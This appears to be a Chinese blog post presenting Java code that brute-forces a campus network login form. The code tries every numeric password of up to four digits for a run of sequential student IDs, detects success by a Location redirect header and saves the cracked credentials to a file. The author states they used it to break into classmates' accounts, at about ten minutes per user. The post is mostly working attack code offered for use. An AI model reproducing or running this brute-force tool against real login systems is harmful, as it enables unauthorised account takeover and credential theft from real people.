注:以下破解思路及代码源自我同学木子
1、先来看一个无任何安全措施的登录系统的破解方法:每次模拟表单提交,若登录成功,此时返回的报头信息中有Location字段,登录失败无此字段,继续模拟登录。直到破解成功,本人成功破解部分同学校园网登录密码(纯四位数字的)代码如下:
- >package demo.net;
-
- import java.io.IOException;
- import java.io.PrintWriter;
- import java.net.HttpURLConnection;
- import java.net.URL;
-
- import mine.util.io.TextFile;
-
-
- public class PostTest {
- String urlString = "登录页面的url";
-
- public PostTest() {
- }
-
- public PostTest(String urlString) {
- this.urlString = urlString;
- }
-
-
- private boolean doPost(String user, String password) {
- boolean sucess = false;
- try {
- URL realUrl = new URL(urlString);
- HttpURLConnection conn = (HttpURLConnection) realUrl
- .openConnection();
- conn.setDoOutput(true);
- conn.setDoInput(true);
- conn.setInstanceFollowRedirects(false);
-
-
- PrintWriter out = new PrintWriter(conn.getOutputStream());
- out.print("要提交的表单信息");
- out.flush();
-
-
-
-
- if (conn.getHeaderField("Location") != null) {
- sucess = true;
- }
- } catch (IOException e) {
- e.printStackTrace();
- }
- return sucess;
- }
-
-
-
- private boolean createPassWord(String user, char[] str, int n, int len) {
- if (n == len) {
- String ps = new String(str);
- if (doPost(user, ps)) {
-
- TextFile.write("file/校园网用户名及密码.txt", true, "sucess:" + user
- + " : " + ps + "\n");
- return true;
- }
- return false;
- }
- for (int i = 0; i <= 9; i++) {
- str[n] = (char) (i + '0');
- if (createPassWord(user, str, n + 1, len))
- return true;
- }
- return false;
- }
-
-
- public void test(String user) {
- for (int i = 0; i < 4; i++) {
- if (createPassWord(user, new char[i + 1], 0, i + 1))
- break;
- }
- }
-
- public static void main(String[] args) {
- PostTest pt = new PostTest();
- for (int i = 1; i <= 9; i++)
- pt.test("09050510" + i);
- for (int i = 10; i <= 31; i++)
- pt.test("0905051" + i);
- }
- }
-
这个示例代码中只破解密码为4位或4位数字之内的密码,大概破解一个用户需要十分钟。如果破解5、6...更长的密码,破解时间将很长。